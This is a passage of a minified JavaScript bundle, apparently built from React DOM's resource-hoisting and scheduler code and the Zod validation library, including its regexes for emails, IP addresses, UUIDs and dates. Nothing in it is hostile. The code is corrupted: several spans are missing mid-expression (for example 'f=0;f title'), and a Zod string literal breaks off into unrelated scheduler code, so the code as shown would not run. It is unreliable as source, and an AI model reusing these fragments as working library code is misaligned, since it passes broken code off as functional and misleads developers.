r=FC;if(r&&typeof A=="string"&&A){var c=Mg(A);c='link[rel="'+g+'"][href="'+c+'"]',typeof I=="string"&&(c+='[crossorigin="'+I+'"]'),mS.has(c)||(mS.add(c),g={rel:g,crossOrigin:I,href:A},r.querySelector(c)===null&&(A=r.createElement("link"),Ut(A,"link",g),Zt(A),r.head.appendChild(A)))}}function dW(g){Hi.D(g),vS("dns-prefetch",g,null)}function hW(g,A){Hi.C(g,A),vS("preconnect",g,A)}function fW(g,A,I){Hi.L(g,A,I);var r=FC;if(r&&g&&A){var c='link[rel="preload"][as="'+Mg(A)+'"]';A==="image"&&I&&I.imageSrcSet?(c+='[imagesrcset="'+Mg(I.imageSrcSet)+'"]',typeof I.imageSizes=="string"&&(c+='[imagesizes="'+Mg(I.imageSizes)+'"]')):c+='[href="'+Mg(g)+'"]';var d=c;switch(A){case"style":d=VC(g);break;case"script":d=YC(g)}Gg.has(d)||(g=p({rel:"preload",href:A==="image"&&I&&I.imageSrcSet?void 0:g,as:A},I),Gg.set(d,g),r.querySelector(c)!==null||A==="style"&&r.querySelector(Go(d))||A==="script"&&r.querySelector(Fo(d))||(A=r.createElement("link"),Ut(A,"link",g),Zt(A),r.head.appendChild(A)))}}function pW(g,A){Hi.m(g,A);var I=FC;if(I&&g){var r=A&&typeof A.as=="string"?A.as:"script",c='link[rel="modulepreload"][as="'+Mg(r)+'"][href="'+Mg(g)+'"]',d=c;switch(r){case"audioworklet":case"paintworklet":case"serviceworker":case"sharedworker":case"worker":case"script":d=YC(g)}if(!Gg.has(d)&&(g=p({rel:"modulepreload",href:g},A),Gg.set(d,g),I.querySelector(c)===null)){switch(r){case"audioworklet":case"paintworklet":case"serviceworker":case"sharedworker":case"worker":case"script":if(I.querySelector(Fo(d)))return}r=I.createElement("link"),Ut(r,"link",g),Zt(r),I.head.appendChild(r)}}}function mW(g,A,I){Hi.S(g,A,I);var r=FC;if(r&&g){var c=aC(r).hoistableStyles,d=VC(g);A=A||"default";var f=c.get(d);if(!f){var y={loading:0,preload:null};if(f=r.querySelector(Go(d)))y.loading=5;else{g=p({rel:"stylesheet",href:g,"data-precedence":A},I),(I=Gg.get(d))&&Bh(g,I);var E=f=r.createElement("link");Zt(E),Ut(E,"link",g),E._p=new Promise(function(_,j){E.onload=_,E.onerror=j}),E.addEventListener("load",function(){y.loading|=1}),E.addEventListener("error",function(){y.loading|=2}),y.loading|=4,Ta(f,A,r)}f={type:"stylesheet",instance:f,count:1,state:y},c.set(d,f)}}}function vW(g,A){Hi.X(g,A);var I=FC;if(I&&g){var r=aC(I).hoistableScripts,c=YC(g),d=r.get(c);d||(d=I.querySelector(Fo(c)),d||(g=p({src:g,async:!0},A),(A=Gg.get(c))&&Ph(g,A),d=I.createElement("script"),Zt(d),Ut(d,"link",g),I.head.appendChild(d)),d={type:"script",instance:d,count:1,state:null},r.set(c,d))}}function yW(g,A){Hi.M(g,A);var I=FC;if(I&&g){var r=aC(I).hoistableScripts,c=YC(g),d=r.get(c);d||(d=I.querySelector(Fo(c)),d||(g=p({src:g,async:!0,type:"module"},A),(A=Gg.get(c))&&Ph(g,A),d=I.createElement("script"),Zt(d),Ut(d,"link",g),I.head.appendChild(d)),d={type:"script",instance:d,count:1,state:null},r.set(c,d))}}function yS(g,A,I,r){var c=(c=ye.current)?Ea(c):null;if(!c)throw Error(i(446));switch(g){case"meta":case"title":return null;case"style":return typeof I.precedence=="string"&&typeof I.href=="string"?(A=VC(I.href),I=aC(c).hoistableStyles,r=I.get(A),r||(r={type:"style",instance:null,count:0,state:null},I.set(A,r)),r):{type:"void",instance:null,count:0,state:null};case"link":if(I.rel==="stylesheet"&&typeof I.href=="string"&&typeof I.precedence=="string"){g=VC(I.href);var d=aC(c).hoistableStyles,f=d.get(g);if(f||(c=c.ownerDocument||c,f={type:"stylesheet",instance:null,count:0,state:{loading:0,preload:null}},d.set(g,f),(d=c.querySelector(Go(g)))&&!d._p&&(f.instance=d,f.state.loading=5),Gg.has(g)||(I={rel:"preload",as:"style",href:I.href,crossOrigin:I.crossOrigin,integrity:I.integrity,media:I.media,hrefLang:I.hrefLang,referrerPolicy:I.referrerPolicy},Gg.set(g,I),d||bW(c,g,I,f.state))),A&&r===null)throw Error(i(528,""));return f}if(A&&r!==null)throw Error(i(529,""));return null;case"script":return A=I.async,I=I.src,typeof I=="string"&&A&&typeof A!="function"&&typeof A!="symbol"?(A=YC(I),I=aC(c).hoistableScripts,r=I.get(A),r||(r={type:"script",instance:null,count:0,state:null},I.set(A,r)),r):{type:"void",instance:null,count:0,state:null};default:throw Error(i(444,g))}}function VC(g){return'href="'+Mg(g)+'"'}function Go(g){return'link[rel="stylesheet"]['+g+"]"}function bS(g){return p({},g,{"data-precedence":g.precedence,precedence:null})}function bW(g,A,I,r){g.querySelector('link[rel="preload"][as="style"]['+A+"]")?r.loading=1:(A=g.createElement("link"),r.preload=A,A.addEventListener("load",function(){return r.loading|=1}),A.addEventListener("error",function(){return r.loading|=2}),Ut(A,"link",I),Zt(A),g.head.appendChild(A))}function YC(g){return'[src="'+Mg(g)+'"]'}function Fo(g){return"script[async]"+g}function wS(g,A,I){if(A.count++,A.instance===null)switch(A.type){case"style":var r=g.querySelector('style[data-href~="'+Mg(I.href)+'"]');if(r)return A.instance=r,Zt(r),r;var c=p({},I,{"data-href":I.href,"data-precedence":I.precedence,href:null,precedence:null});return r=(g.ownerDocument||g).createElement("style"),Zt(r),Ut(r,"style",c),Ta(r,I.precedence,g),A.instance=r;case"stylesheet":c=VC(I.href);var d=g.querySelector(Go(c));if(d)return A.state.loading|=4,A.instance=d,Zt(d),d;r=bS(I),(c=Gg.get(c))&&Bh(r,c),d=(g.ownerDocument||g).createElement("link"),Zt(d);var f=d;return f._p=new Promise(function(y,E){f.onload=y,f.onerror=E}),Ut(d,"link",r),A.state.loading|=4,Ta(d,I.precedence,g),A.instance=d;case"script":return d=YC(I.src),(c=g.querySelector(Fo(d)))?(A.instance=c,Zt(c),c):(r=I,(c=Gg.get(d))&&(r=p({},I),Ph(r,c)),g=g.ownerDocument||g,c=g.createElement("script"),Zt(c),Ut(c,"link",r),g.head.appendChild(c),A.instance=c);case"void":return null;default:throw Error(i(443,A.type))}else A.type==="stylesheet"&&(A.state.loading&4)===0&&(r=A.instance,A.state.loading|=4,Ta(r,I.precedence,g));return A.instance}function Ta(g,A,I){for(var r=I.querySelectorAll('link[rel="stylesheet"][data-precedence],style[data-precedence]'),c=r.length?r[r.length-1]:null,d=c,f=0;f title"):null)}function wW(g,A,I){if(I===1||A.itemProp!=null)return!1;switch(g){case"meta":case"title":return!0;case"style":if(typeof A.precedence!="string"||typeof A.href!="string"||A.href==="")break;return!0;case"link":if(typeof A.rel!="string"||typeof A.href!="string"||A.href===""||A.onLoad||A.onError)break;return A.rel==="stylesheet"?(g=A.disabled,typeof A.precedence=="string"&&g==null):!0;case"script":if(A.async&&typeof A.async!="function"&&typeof A.async!="symbol"&&!A.onLoad&&!A.onError&&A.src&&typeof A.src=="string")return!0}return!1}function SS(g){return!(g.type==="stylesheet"&&(g.state.loading&3)===0)}function EW(g,A,I,r){if(I.type==="stylesheet"&&(typeof r.media!="string"||matchMedia(r.media).matches!==!1)&&(I.state.loading&4)===0){if(I.instance===null){var c=VC(r.href),d=A.querySelector(Go(c));if(d){A=d._p,A!==null&&typeof A=="object"&&typeof A.then=="function"&&(g.count++,g=Oa.bind(g),A.then(g,g)),I.state.loading|=4,I.instance=d,Zt(d);return}d=A.ownerDocument||A,r=bS(r),(c=Gg.get(c))&&Bh(r,c),d=d.createElement("link"),Zt(d);var f=d;f._p=new Promise(function(y,E){f.onload=y,f.onerror=E}),Ut(d,"link",r),I.instance=d}g.stylesheets===null&&(g.stylesheets=new Map),g.stylesheets.set(I,A),(A=I.state.preload)&&(I.state.loading&3)===0&&(g.count++,I=Oa.bind(g),A.addEventListener("load",I),A.addEventListener("error",I))}}var jh=0;function TW(g,A){return g.stylesheets&&g.count===0&&Na(g,g.stylesheets),0jh?50:800)+A);return g.unsuspend=I,function(){g.unsuspend=null,clearTimeout(r),clearTimeout(c)}}:null}function Oa(){if(this.count--,this.count===0&&(this.imgCount===0||!this.waitingForImages)){if(this.stylesheets)Na(this,this.stylesheets);else if(this.unsuspend){var g=this.unsuspend;this.unsuspend=null,g()}}}var xa=null;function Na(g,A){g.stylesheets=null,g.unsuspend!==null&&(g.count++,xa=new Map,A.forEach(SW,g),xa=null,Oa.call(g))}function SW(g,A){if(!(A.state.loading&4)){var I=xa.get(g);if(I)var r=I.get(null);else{I=new Map,xa.set(g,I);for(var c=g.querySelectorAll("link[data-precedence],style[data-precedence]"),d=0;d"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(n)}catch(e){console.error(e)}}return n(),La.exports=KS(),La.exports}var XS=QS(),gf;function G(n,e,t){function i(a,l){if(a._zod||Object.defineProperty(a,"_zod",{value:{def:l,constr:s,traits:new Set},enumerable:!1}),a._zod.traits.has(n))return;a._zod.traits.add(n),e(a,l);const u=s.prototype,h=Object.keys(u);for(let p=0;pt?.Parent&&a instanceof t.Parent?!0:a?._zod?.traits?.has(n)}),Object.defineProperty(s,"name",{value:n}),s}class wA extends Error{constructor(){super("Encountered Promise during synchronous parse. Use .parseAsync() instead.")}}class nf extends Error{constructor(e){super(`Encountered unidirectional transform during encode: ${e}`),this.name="ZodEncodeError"}}(gf=globalThis).__zod_globalConfig??(gf.__zod_globalConfig={});const Ya=globalThis.__zod_globalConfig;function hi(n){return Ya}function Af(n){const e=Object.values(n).filter(i=>typeof i=="number");return Object.entries(n).filter(([i,C])=>e.indexOf(+i)===-1).map(([i,C])=>C)}function Ua(n,e){return typeof e=="bigint"?e.toString():e}function Ha(n){return{get value(){{const e=n();return Object.defineProperty(this,"value",{value:e}),e}}}}function Ka(n){return n==null}function Qa(n){const e=n.startsWith("^")?1:0,t=n.endsWith("$")?n.length-1:n.length;return n.slice(e,t)}function WS(n,e){const t=n/e,i=Math.round(t),C=Number.EPSILON*Math.max(Math.abs(t),1);return Math.abs(t-i){};function Ko(n){return typeof n=="object"&&n!==null&&!Array.isArray(n)}const JS=Ha(()=>{if(Ya.jitless||typeof navigator<"u"&&navigator?.userAgent?.includes("Cloudflare"))return!1;try{const n=Function;return new n(""),!0}catch{return!1}});function EA(n){if(Ko(n)===!1)return!1;const e=n.constructor;if(e===void 0||typeof e!="function")return!0;const t=e.prototype;return!(Ko(t)===!1||Object.prototype.hasOwnProperty.call(t,"isPrototypeOf")===!1)}function sf(n){return EA(n)?{...n}:Array.isArray(n)?[...n]:n instanceof Map?new Map(n):n instanceof Set?new Set(n):n}const $S=new Set(["string","number","symbol"]);function TA(n){return n.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function Qi(n,e,t){const i=new n._zod.constr(e??n._zod.def);return(!e||t?.parent)&&(i._zod.parent=n),i}function Ie(n){const e=n;if(!e)return{};if(typeof e=="string")return{error:()=>e};if(e?.message!==void 0){if(e?.error!==void 0)throw new Error("Cannot specify both `message` and `error` params");e.error=e.message}return delete e.message,typeof e.error=="string"?{...e,error:()=>e.error}:e}function e2(n){return Object.keys(n).filter(e=>n[e]._zod.optin==="optional"&&n[e]._zod.optout==="optional")}const t2={safeint:[Number.MIN_SAFE_INTEGER,Number.MAX_SAFE_INTEGER],int32:[-2147483648,2147483647],uint32:[0,4294967295],float32:[-34028234663852886e22,34028234663852886e22],float64:[-Number.MAX_VALUE,Number.MAX_VALUE]};function g2(n,e){const t=n._zod.def,i=t.checks;if(i&&i.length>0)throw new Error(".pick() cannot be used on object schemas containing refinements");const o=Ki(n._zod.def,{get shape(){const s={};for(const a in e){if(!(a in t.shape))throw new Error(`Unrecognized key: "${a}"`);e[a]&&(s[a]=t.shape[a])}return Bn(this,"shape",s),s},checks:[]});return Qi(n,o)}function i2(n,e){const t=n._zod.def,i=t.checks;if(i&&i.length>0)throw new Error(".omit() cannot be used on object schemas containing refinements");const o=Ki(n._zod.def,{get shape(){const s={...n._zod.def.shape};for(const a in e){if(!(a in t.shape))throw new Error(`Unrecognized key: "${a}"`);e[a]&&delete s[a]}return Bn(this,"shape",s),s},checks:[]});return Qi(n,o)}function n2(n,e){if(!EA(e))throw new Error("Invalid input to extend: expected a plain object");const t=n._zod.def.checks;if(t&&t.length>0){const o=n._zod.def.shape;for(const s in e)if(Object.getOwnPropertyDescriptor(o,s)!==void 0)throw new Error("Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead.")}const C=Ki(n._zod.def,{get shape(){const o={...n._zod.def.shape,...e};return Bn(this,"shape",o),o}});return Qi(n,C)}function A2(n,e){if(!EA(e))throw new Error("Invalid input to safeExtend: expected a plain object");const t=Ki(n._zod.def,{get shape(){const i={...n._zod.def.shape,...e};return Bn(this,"shape",i),i}});return Qi(n,t)}function C2(n,e){if(n._zod.def.checks?.length)throw new Error(".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead.");const t=Ki(n._zod.def,{get shape(){const i={...n._zod.def.shape,...e._zod.def.shape};return Bn(this,"shape",i),i},get catchall(){return e._zod.def.catchall},checks:e._zod.def.checks??[]});return Qi(n,t)}function I2(n,e,t){const C=e._zod.def.checks;if(C&&C.length>0)throw new Error(".partial() cannot be used on object schemas containing refinements");const s=Ki(e._zod.def,{get shape(){const a=e._zod.def.shape,l={...a};if(t)for(const u in t){if(!(u in a))throw new Error(`Unrecognized key: "${u}"`);t[u]&&(l[u]=n?new n({type:"optional",innerType:a[u]}):a[u])}else for(const u in a)l[u]=n?new n({type:"optional",innerType:a[u]}):a[u];return Bn(this,"shape",l),l},checks:[]});return Qi(e,s)}function o2(n,e,t){const i=Ki(e._zod.def,{get shape(){const C=e._zod.def.shape,o={...C};if(t)for(const s in t){if(!(s in o))throw new Error(`Unrecognized key: "${s}"`);t[s]&&(o[s]=new n({type:"nonoptional",innerType:C[s]}))}else for(const s in C)o[s]=new n({type:"nonoptional",innerType:C[s]});return Bn(this,"shape",o),o}});return Qi(e,i)}function SA(n,e=0){if(n.aborted===!0)return!0;for(let t=e;t{var i;return(i=t).path??(i.path=[]),t.path.unshift(n),t})}function Qo(n){return typeof n=="string"?n:n?.message}function fi(n,e,t){const i=n.message?n.message:Qo(n.inst?._zod.def?.error?.(n))??Qo(e?.error?.(n))??Qo(t.customError?.(n))??Qo(t.localeError?.(n))??"Invalid input",{inst:C,continue:o,input:s,...a}=n;return a.path??(a.path=[]),a.message=i,e?.reportInput&&(a.input=s),a}function Xa(n){return Array.isArray(n)?"array":typeof n=="string"?"string":"unknown"}function QC(...n){const[e,t,i]=n;return typeof e=="string"?{message:e,code:"custom",input:t,inst:i}:{...e}}const rf=(n,e)=>{n.name="$ZodError",Object.defineProperty(n,"_zod",{value:n._zod,enumerable:!1}),Object.defineProperty(n,"issues",{value:e,enumerable:!1}),n.message=JSON.stringify(e,Ua,2),Object.defineProperty(n,"toString",{value:()=>n.message,enumerable:!1})},af=G("$ZodError",rf),lf=G("$ZodError",rf,{Parent:Error});function r2(n,e=t=>t.message){const t={},i=[];for(const C of n.issues)C.path.length>0?(t[C.path[0]]=t[C.path[0]]||[],t[C.path[0]].push(e(C))):i.push(e(C));return{formErrors:i,fieldErrors:t}}function a2(n,e=t=>t.message){const t={_errors:[]},i=(C,o=[])=>{for(const s of C.issues)if(s.code==="invalid_union"&&s.errors.length)s.errors.map(a=>i({issues:a},[...o,...s.path]));else if(s.code==="invalid_key")i({issues:s.issues},[...o,...s.path]);else if(s.code==="invalid_element")i({issues:s.issues},[...o,...s.path]);else{const a=[...o,...s.path];if(a.length===0)t._errors.push(e(s));else{let l=t,u=0;for(;u(e,t,i,C)=>{const o=i?{...i,async:!1}:{async:!1},s=e._zod.run({value:t,issues:[]},o);if(s instanceof Promise)throw new wA;if(s.issues.length){const a=new(C?.Err??n)(s.issues.map(l=>fi(l,o,hi())));throw of(a,C?.callee),a}return s.value},qa=n=>async(e,t,i,C)=>{const o=i?{...i,async:!0}:{async:!0};let s=e._zod.run({value:t,issues:[]},o);if(s instanceof Promise&&(s=await s),s.issues.length){const a=new(C?.Err??n)(s.issues.map(l=>fi(l,o,hi())));throw of(a,C?.callee),a}return s.value},Xo=n=>(e,t,i)=>{const C=i?{...i,async:!1}:{async:!1},o=e._zod.run({value:t,issues:[]},C);if(o instanceof Promise)throw new wA;return o.issues.length?{success:!1,error:new(n??af)(o.issues.map(s=>fi(s,C,hi())))}:{success:!0,data:o.value}},l2=Xo(lf),Wo=n=>async(e,t,i)=>{const C=i?{...i,async:!0}:{async:!0};let o=e._zod.run({value:t,issues:[]},C);return o instanceof Promise&&(o=await o),o.issues.length?{success:!1,error:new n(o.issues.map(s=>fi(s,C,hi())))}:{success:!0,data:o.value}},c2=Wo(lf),u2=n=>(e,t,i)=>{const C=i?{...i,direction:"backward"}:{direction:"backward"};return Wa(n)(e,t,C)},d2=n=>(e,t,i)=>Wa(n)(e,t,i),h2=n=>async(e,t,i)=>{const C=i?{...i,direction:"backward"}:{direction:"backward"};return qa(n)(e,t,C)},f2=n=>async(e,t,i)=>qa(n)(e,t,i),p2=n=>(e,t,i)=>{const C=i?{...i,direction:"backward"}:{direction:"backward"};return Xo(n)(e,t,C)},m2=n=>(e,t,i)=>Xo(n)(e,t,i),v2=n=>async(e,t,i)=>{const C=i?{...i,direction:"backward"}:{direction:"backward"};return Wo(n)(e,t,C)},y2=n=>async(e,t,i)=>Wo(n)(e,t,i),b2=/^[cC][0-9a-z]{6,}$/,w2=/^[0-9a-z]+$/,E2=/^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/,T2=/^[0-9a-vA-V]{20}$/,S2=/^[A-Za-z0-9]{27}$/,O2=/^[a-zA-Z0-9_-]{21}$/,x2=/^P(?:(\d+W)|(?!.*W)(?=\d|T\d)(\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+([.,]\d+)?S)?)?)$/,N2=/^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/,cf=n=>n?new RegExp(`^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-${n}[0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12})$`):/^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$/,D2=/^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/,z2="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$";function R2(){return new RegExp(z2,"u")}const M2=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,_2=/^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$/,k2=/^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/,Z2=/^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,B2=/^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/,uf=/^[A-Za-z0-9_-]*$/,P2=/^https?$/,j2=/^\+[1-9]\d{6,14}$/,df="(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))",L2=new RegExp(`^${df}$`);function hf(n){const e="(?:[01]\\d|2[0-3]):[0-5]\\d";return typeof n.precision=="number"?n.precision===-1?`${e}`:n.precision===0?`${e}:[0-5]\\d`:`${e}:[0-5]\\d\\.\\d{${n.precision}}`:`${e}(?::[0-5]\\d(?:\\.\\d+)?)?`}function G2(n){return new RegExp(`^${hf(n)}$`)}function F2(n){const e=hf({precision:n.precision}),t=["Z"];n.local&&t.push(""),n.offset&&t.push("([+-](?:[01]\\d|2[0-3]):[0-5]\\d)");const i=`${e}(?:${t.join("|")})`;return new RegExp(`^${df}T(?:${i})$`)}const V2=n=>{const e=n?`[\\s\\S]{${n?.minimum??0},${n?.maximum??""}}`:"[\\s\\S]*";return new RegExp(`^${e}$`)},Y2=/^-?\d+$/,ff=/^-?\d+(?:\.\d+)?$/,U2=/^(?:true|false)$/i,H2=/^[^A-Z]*$/,K2=/^[^a-z]*$/,tg=G("$ZodCheck",(n,e)=>{var t;n._zod??(n._zod={}),n._zod.def=e,(t=n._zod).onattach??(t.onattach=[])}),pf={number:"number",bigint:"bigint",object:"date"},mf=G("$ZodCheckLessThan",(n,e)=>{tg.init(n,e);const t=pf[typeof e.value];n._zod.onattach.push(i=>{const C=i._zod.bag,o=(e.inclusive?C.maximum:C.exclusiveMaximum)??Number.POSITIVE_INFINITY;e.value{(e.inclusive?i.value<=e.value:i.value{tg.init(n,e);const t=pf[typeof e.value];n._zod.onattach.push(i=>{const C=i._zod.bag,o=(e.inclusive?C.minimum:C.exclusiveMinimum)??Number.NEGATIVE_INFINITY;e.value>o&&(e.inclusive?C.minimum=e.value:C.exclusiveMinimum=e.value)}),n._zod.check=i=>{(e.inclusive?i.value>=e.value:i.value>e.value)||i.issues.push({origin:t,code:"too_small",minimum:typeof e.value=="object"?e.value.getTime():e.value,input:i.value,inclusive:e.inclusive,inst:n,continue:!e.abort})}}),Q2=G("$ZodCheckMultipleOf",(n,e)=>{tg.init(n,e),n._zod.onattach.push(t=>{var i;(i=t._zod.bag).multipleOf??(i.multipleOf=e.value)}),n._zod.check=t=>{if(typeof t.value!=typeof e.value)throw new Error("Cannot mix number and bigint in multiple_of check.");(typeof t.value=="bigint"?t.value%e.value===BigInt(0):WS(t.value,e.value)===0)||t.issues.push({origin:typeof t.value,code:"not_multiple_of",divisor:e.value,input:t.value,inst:n,continue:!e.abort})}}),X2=G("$ZodCheckNumberFormat",(n,e)=>{tg.init(n,e),e.format=e.format||"float64";const t=e.format?.includes("int"),i=t?"int":"number",[C,o]=t2[e.format];n._zod.onattach.push(s=>{const a=s._zod.bag;a.format=e.format,a.minimum=C,a.maximum=o,t&&(a.pattern=Y2)}),n._zod.check=s=>{const a=s.value;if(t){if(!Number.isInteger(a)){s.issues.push({expected:i,format:e.format,code:"invalid_type",continue:!1,input:a,inst:n});return}if(!Number.isSafeInteger(a)){a>0?s.issues.push({input:a,code:"too_big",maximum:Number.MAX_SAFE_INTEGER,note:"Integers must be within the safe integer range.",inst:n,origin:i,inclusive:!0,continue:!e.abort}):s.issues.push({input:a,code:"too_small",minimum:Number.MIN_SAFE_INTEGER,note:"Integers must be within the safe integer range.",inst:n,origin:i,inclusive:!0,continue:!e.abort});return}}ao&&s.issues.push({origin:"number",input:a,code:"too_big",maximum:o,inclusive:!0,inst:n,continue:!e.abort})}}),W2=G("$ZodCheckMaxLength",(n,e)=>{var t;tg.init(n,e),(t=n._zod.def).when??(t.when=i=>{const C=i.value;return!Ka(C)&&C.length!==void 0}),n._zod.onattach.push(i=>{const C=i._zod.bag.maximum??Number.POSITIVE_INFINITY;e.maximum{const C=i.value;if(C.length<=e.maximum)return;const s=Xa(C);i.issues.push({origin:s,code:"too_big",maximum:e.maximum,inclusive:!0,input:C,inst:n,continue:!e.abort})}}),q2=G("$ZodCheckMinLength",(n,e)=>{var t;tg.init(n,e),(t=n._zod.def).when??(t.when=i=>{const C=i.value;return!Ka(C)&&C.length!==void 0}),n._zod.onattach.push(i=>{const C=i._zod.bag.minimum??Number.NEGATIVE_INFINITY;e.minimum>C&&(i._zod.bag.minimum=e.minimum)}),n._zod.check=i=>{const C=i.value;if(C.length>=e.minimum)return;const s=Xa(C);i.issues.push({origin:s,code:"too_small",minimum:e.minimum,inclusive:!0,input:C,inst:n,continue:!e.abort})}}),J2=G("$ZodCheckLengthEquals",(n,e)=>{var t;tg.init(n,e),(t=n._zod.def).when??(t.when=i=>{const C=i.value;return!Ka(C)&&C.length!==void 0}),n._zod.onattach.push(i=>{const C=i._zod.bag;C.minimum=e.length,C.maximum=e.length,C.length=e.length}),n._zod.check=i=>{const C=i.value,o=C.length;if(o===e.length)return;const s=Xa(C),a=o>e.length;i.issues.push({origin:s,...a?{code:"too_big",maximum:e.length}:{code:"too_small",minimum:e.length},inclusive:!0,exact:!0,input:i.value,inst:n,continue:!e.abort})}}),qo=G("$ZodCheckStringFormat",(n,e)=>{var t,i;tg.init(n,e),n._zod.onattach.push(C=>{const o=C._zod.bag;o.format=e.format,e.pattern&&(o.patterns??(o.patterns=new Set),o.patterns.add(e.pattern))}),e.pattern?(t=n._zod).check??(t.check=C=>{e.pattern.lastIndex=0,!e.pattern.test(C.value)&&C.issues.push({origin:"string",code:"invalid_format",format:e.format,input:C.value,...e.pattern?{pattern:e.pattern.toString()}:{},inst:n,continue:!e.abort})}):(i=n._zod).check??(i.check=()=>{})}),$2=G("$ZodCheckRegex",(n,e)=>{qo.init(n,e),n._zod.check=t=>{e.pattern.lastIndex=0,!e.pattern.test(t.value)&&t.issues.push({origin:"string",code:"invalid_format",format:"regex",input:t.value,pattern:e.pattern.toString(),inst:n,continue:!e.abort})}}),eO=G("$ZodCheckLowerCase",(n,e)=>{e.pattern??(e.pattern=H2),qo.init(n,e)}),tO=G("$ZodCheckUpperCase",(n,e)=>{e.pattern??(e.pattern=K2),qo.init(n,e)}),gO=G("$ZodCheckIncludes",(n,e)=>{tg.init(n,e);const t=TA(e.includes),i=new RegExp(typeof e.position=="number"?`^.{${e.position}}${t}`:t);e.pattern=i,n._zod.onattach.push(C=>{const o=C._zod.bag;o.patterns??(o.patterns=new Set),o.patterns.add(i)}),n._zod.check=C=>{C.value.includes(e.includes,e.position)||C.issues.push({origin:"string",code:"invalid_format",format:"includes",includes:e.includes,input:C.value,inst:n,continue:!e.abort})}}),iO=G("$ZodCheckStartsWith",(n,e)=>{tg.init(n,e);const t=new RegExp(`^${TA(e.prefix)}.*`);e.pattern??(e.pattern=t),n._zod.onattach.push(i=>{const C=i._zod.bag;C.patterns??(C.patterns=new Set),C.patterns.add(t)}),n._zod.check=i=>{i.value.startsWith(e.prefix)||i.issues.push({origin:"string",code:"invalid_format",format:"starts_with",prefix:e.prefix,input:i.value,inst:n,continue:!e.abort})}}),nO=G("$ZodCheckEndsWith",(n,e)=>{tg.init(n,e);const t=new RegExp(`.*${TA(e.suffix)}$`);e.pattern??(e.pattern=t),n._zod.onattach.push(i=>{const C=i._zod.bag;C.patterns??(C.patterns=new Set),C.patterns.add(t)}),n._zod.check=i=>{i.value.endsWith(e.suffix)||i.issues.push({origin:"string",code:"invalid_format",format:"ends_with",suffix:e.suffix,input:i.value,inst:n,continue:!e.abort})}}),AO=G("$ZodCheckOverwrite",(n,e)=>{tg.init(n,e),n._zod.check=t=>{t.value=e.tx(t.value)}});class CO{constructor(e=[]){this.content=[],this.indent=0,this&&(this.args=e)}indented(e){this.indent+=1,e(this),this.indent-=1}write(e){if(typeof e=="function"){e(this,{execution:"sync"}),e(this,{execution:"async"});return}const i=e.split(` +`+r.stack}}var zu=Object.prototype.hasOwnProperty,Ru=n.unstable_scheduleCallback,Mu=n.unstable_cancelCallback,pQ=n.unstable_shouldYield,mQ=n.unstable_requestPaint,dg=n.unstable_now,vQ=n.unstable_getCurrentPriorityLevel,Vw=n.unstable_ImmediatePriority,Yw=n.unstable_UserBlockingPriority,vr=n.unstable_NormalPriority,yQ=n.unstable_LowPriority,Uw=n.unstable_IdlePriority,bQ=n.log,wQ=n.unstable_setDisableYieldValue,eo=null,hg=null;function ln(g){if(typeof bQ=="function"&&wQ(g),hg&&typeof hg.setStrictMode=="function")try{hg.setStrictMode(eo,g)}catch{}}var fg=Math.clz32?Math.clz32:SQ,EQ=Math.log,TQ=Math.LN2;function SQ(g){return g>>>=0,g===0?32:31-(EQ(g)/TQ|0)|0}var yr=256,br=262144,wr=4194304;function AA(g){var A=g&42;if(A!==0)return A;switch(g&-g){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:return 64;case 128:return 128;case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:return g&261888;case 262144:case 524288:case 1048576:case 